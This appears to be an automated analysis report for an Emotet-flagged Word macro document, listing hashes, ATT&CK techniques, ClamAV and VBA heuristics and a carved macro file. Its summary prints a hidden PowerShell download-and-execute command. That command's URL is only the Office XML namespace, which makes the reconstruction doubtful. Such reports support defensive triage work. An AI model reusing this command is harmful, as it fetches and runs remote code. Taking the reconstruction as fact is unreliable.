Emotet Office (OLE) / .DOCX malware analysis — malicious · b55cdf490435476a

MALICIOUS

Office (OLE) / .DOCX

162.0 KB Created: 2020-09-14 06:44:00 Authoring application: Microsoft Office Word

MD5: b82e23b408491ae27b8d1420e5a8759d SHA-1: 829e4a64a06f57ae44f1d3886b9f3cb119162807 SHA-256: b55cdf490435476aca6b1d71b6b9e509cf20125e5c8135c53de653035fa5a76a

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, strongly indicate malicious intent. The presence of a VBA macro file named 'macros.bas' further supports this. The embedded document body, though heavily corrupted, contains what appears to be obfuscated PowerShell code, likely intended to download and execute a secondary payload. The reconstructed PowerShell command appears to be: '$e = Get-WmiObject -query 'select * from Win32_OperatingSystem' -computername $env:COMPUTERNAME; $o = New-Object -ComObject WScript.Shell; $o.Run("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://schemas.openxmlformats.org/drawingml/2006/main')")'

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762310-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762310-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `94aa0eae3715e5e4c777d8559a3d12a3d055d6c09f9bd5aa9415cdba60070681`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25226 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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